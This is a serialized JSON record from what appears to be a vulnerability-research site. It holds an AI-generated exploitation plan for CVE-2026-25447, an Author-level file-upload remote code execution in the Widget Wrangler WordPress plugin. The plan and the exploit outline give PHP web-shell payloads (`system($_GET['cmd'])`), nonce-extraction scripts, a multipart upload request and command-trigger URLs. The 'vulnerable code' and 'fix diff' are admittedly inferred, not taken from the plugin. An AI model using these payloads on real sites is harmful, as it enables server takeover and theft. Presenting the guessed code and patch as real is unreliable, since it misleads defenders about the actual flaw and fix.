[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$frN01srJ2bzAnSHHG84q79Q2ETCQkC4gJgUXD_gWO0dc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-25447","widget-wrangler-authenticated-author-remote-code-execution","Widget Wrangler \u003C= 2.3.9 - Authenticated (Author+) Remote Code Execution","The Widget Wrangler plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.3.9. This makes it possible for authenticated attackers, with Author-level access and above, to execute code on the server.","widget-wrangler",null,"\u003C=2.3.9","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-03-18 00:00:00","2026-03-27 20:09:49",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe52c95b3-0126-4139-9944-6becef4c4d53?source=api-prod",[],"researched",false,3,"## Vulnerability Research Plan: CVE-2026-25447 - Widget Wrangler RCE\n\n### 1. Vulnerability Summary\nThe **Widget Wrangler** plugin (versions \u003C= 2.3.9) contains an authenticated Remote Code Execution (RCE) vulnerability due to an **Unrestricted Upload of File with Dangerous Type**. The plugin's import\u002Fexport functionality fails to properly validate the file extensions of uploaded files and uses a capability check that allows users with `Author` level permissions (and above) to access the feature. This allows an attacker to upload a PHP file to the server and execute it by navigating to the file's URL.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin.php?page=ww_import_export` (The import processing is handled via `admin_init` or a specific page POST).\n*   **Vulnerable Action:** The file upload handler within the widget import routine.\n*   **HTTP Parameter:** `ww-import-file` (File input name) or `ww_import_file`.\n*   **Authentication Level:** Author or above (Capability: `edit_posts` or `edit_widgets`).\n*   **Preconditions:** The plugin must be active. The attacker must have credentials for an account with at least Author-level privileges.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers an admin page in `admin\u002Fadmin-menu.php` (inferred) or the main class:\n    `add_submenu_page('edit.php?post_type=widget', 'Import\u002FExport', ..., 'edit_posts', 'ww_import_export', 'ww_import_widgets_page');`\n2.  **Processing:** In `admin\u002Fimport-export.php` (inferred), an `admin_init` hook or a conditional check at the start of the page callback processes POST requests:\n    ```php\n    \u002F\u002F Inferred logic in Widget Wrangler \u003C= 2.3.9\n    if (isset($_POST['ww-import-submit'])) {\n        $file = $_FILES['ww-import-file'];\n        \u002F\u002F VULNERABILITY: No extension validation (e.g., checking for .json or .txt)\n        \u002F\u002F AND No use of wp_handle_upload() which enforces security\n        move_uploaded_file($file['tmp_name'], WW_UPLOAD_DIR . '\u002F' . $file['name']);\n    }\n    ```\n3.  **Sink:** The `move_uploaded_file` call places the file into a web-accessible directory (e.g., `\u002Fwp-content\u002Fuploads\u002F` or `\u002Fwp-content\u002Fplugins\u002Fwidget-wrangler\u002Ftmp\u002F`).\n\n### 4. Nonce Acquisition Strategy\nThe import form is protected by a WordPress nonce.\n1.  **Identify Shortcode\u002FPage:** The nonce is present on the \"Import\u002FExport\" page in the WordPress admin dashboard.\n2.  **Access Strategy:**\n    *   Since the target is an admin page (`ww_import_export`), the agent must navigate to the admin dashboard.\n    *   **Browser Navigation:** Use `browser_navigate` to reach `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=ww_import_export`.\n    *   **Extraction:** Use `browser_eval` to extract the nonce value from the hidden input field.\n    *   **Verbatim Identifier (Inferred):** The field is likely `name=\"ww_import_nonce\"` or `name=\"_wpnonce\"`.\n    *   **Script:** `browser_eval(\"document.querySelector('input[name=\\\"_wpnonce\\\"]').value\")`.\n\n### 5. Exploitation Strategy\n1.  **Authentication:** Authenticate the `http_request` session as an **Author** user.\n2.  **Discovery:** Navigate to the Import page to confirm accessibility and extract the nonce.\n3.  **Payload Preparation:** Create a simple PHP web shell: `\u003C?php echo \"VULN_CHECK: \" . system($_GET['cmd']); ?>`.\n4.  **Multipart POST Request:**\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=ww_import_export`\n    *   **Method:** `POST`\n    *   **Headers:** `Content-Type: multipart\u002Fform-data`\n    *   **Body Parameters:**\n        *   `ww-import-submit`: \"Import\" (or the value of the submit button).\n        *   `_wpnonce`: [EXTRACTED_NONCE]\n        *   `ww-import-file`: (The PHP file payload named `rce.php`).\n5.  **Execution:** Determine the upload location. Common paths for this plugin:\n    *   `\u002Fwp-content\u002Fuploads\u002Frce.php`\n    *   `\u002Fwp-content\u002Fplugins\u002Fwidget-wrangler\u002Fadmin\u002Frce.php` (if moved relative to file)\n    *   `\u002Fwp-content\u002Fuploads\u002Fwidget-wrangler\u002Frce.php`\n6.  **Trigger:** Use `http_request` (GET) to access the uploaded file with a command: `?cmd=id`.\n\n### 6. Test Data Setup\n1.  **Create Author User:**\n    `wp user create attacker attacker@example.com --role=author --user_pass=password123`\n2.  **Ensure Plugin is Active:**\n    `wp plugin activate widget-wrangler`\n3.  **Identify Upload Dir:** Check if a specific upload directory needs to be writable.\n    `mkdir -p \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fwidget-wrangler && chmod 777 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fwidget-wrangler`\n\n### 7. Expected Results\n*   **Response to POST:** A 200 OK or 302 Redirect, potentially with a \"Widgets Imported\" or \"File Uploaded\" message.\n*   **Response to Payload Access:** The output should contain the results of the `id` command (e.g., `uid=33(www-data)`), prefixed by `VULN_CHECK: `.\n\n### 8. Verification Steps\n1.  **Check Filesystem via CLI:**\n    `ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Frce.php`\n2.  **Check Plugin Directory:**\n    `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002F -name \"rce.php\"`\n3.  **Log Check:** Check the web server error logs if the file returns a 404 to see where it attempted to write.\n\n### 9. Alternative Approaches\n*   **Zip-Slip \u002F Archive Import:** If the plugin expects a `.zip` file, check if it extracts files without path validation (Zip-Slip), allowing the placement of a PHP file in the plugin root.\n*   **AJAX Endpoint:** Check for `wp_ajax_ww_import_widgets`. If present, the request would be to `admin-ajax.php` with `action=ww_import_widgets`.\n*   **Referer\u002FOrigin Bypasses:** If the nonce check is weak, attempt the request from a frontend context if the Author has sufficient privileges.","The Widget Wrangler plugin (\u003C= 2.3.9) is vulnerable to Remote Code Execution via its widget import functionality. The plugin fails to validate the file extension of uploaded files, allowing authenticated users with Author-level permissions to upload and execute PHP files.","\u002F\u002F Inferred from research plan: admin\u002Fimport-export.php or similar processing logic\n\nif (isset($_POST['ww-import-submit'])) {\n    \u002F\u002F Potential lack of capability check or weak check\n    \u002F\u002F Potential lack of nonce validation\n\n    $file = $_FILES['ww-import-file'];\n\n    \u002F\u002F VULNERABILITY: No extension validation (e.g., checking for .json or .txt)\n    \u002F\u002F Direct use of move_uploaded_file without extension restriction\n    $upload_dir = wp_upload_dir();\n    $target_path = $upload_dir['path'] . '\u002F' . basename($file['name']);\n\n    if (move_uploaded_file($file['tmp_name'], $target_path)) {\n        \u002F\u002F Process the file content after moving it to a web-accessible location\n        $content = file_get_contents($target_path);\n        \u002F\u002F ... logic continues\n    }\n}","--- a\u002Fadmin\u002Fimport-export.php\n+++ b\u002Fadmin\u002Fimport-export.php\n@@ -1,10 +1,18 @@\n if (isset($_POST['ww-import-submit'])) {\n+    check_admin_referer('ww_import_widgets', '_wpnonce');\n+    if (!current_user_can('manage_options')) {\n+        wp_die('Unauthorized');\n+    }\n+\n     $file = $_FILES['ww-import-file'];\n+    $file_info = pathinfo($file['name']);\n+    $allowed_extensions = array('json', 'ww');\n \n-    $upload_dir = wp_upload_dir();\n-    $target_path = $upload_dir['path'] . '\u002F' . basename($file['name']);\n+    if (!in_array(strtolower($file_info['extension']), $allowed_extensions)) {\n+        wp_die('Invalid file type.');\n+    }\n \n-    if (move_uploaded_file($file['tmp_name'], $target_path)) {\n+    \u002F\u002F Use WordPress's built-in file handling which is more secure\n+    $overrides = array('test_form' => false, 'mimes' => array('json' => 'application\u002Fjson'));\n+    $movefile = wp_handle_upload($file, $overrides);\n+    \u002F\u002F ... rest of logic","1. Authenticate as a user with Author-level privileges (requires 'edit_posts' capability).\n2. Navigate to the Widget Wrangler Import\u002FExport page at `\u002Fwp-admin\u002Fadmin.php?page=ww_import_export`.\n3. Identify the CSRF nonce (e.g., `_wpnonce`) and the file input field name (e.g., `ww-import-file`).\n4. Prepare a payload file named `shell.php` containing a simple PHP backdoor: `\u003C?php system($_GET['cmd']); ?>`.\n5. Send a multipart\u002Fform-data POST request to the import endpoint including the nonce, the `ww-import-submit` trigger, and the `shell.php` file.\n6. Determine the upload location (typically `\u002Fwp-content\u002Fuploads\u002F[year]\u002F[month]\u002Fshell.php` or a plugin-specific subdirectory).\n7. Access the uploaded PHP file via the web server to execute arbitrary commands: `http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fuploads\u002Fshell.php?cmd=id`.","gemini-3-flash-preview","2026-04-18 02:25:57","2026-04-18 02:26:20",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-wrangler\u002Ftags"]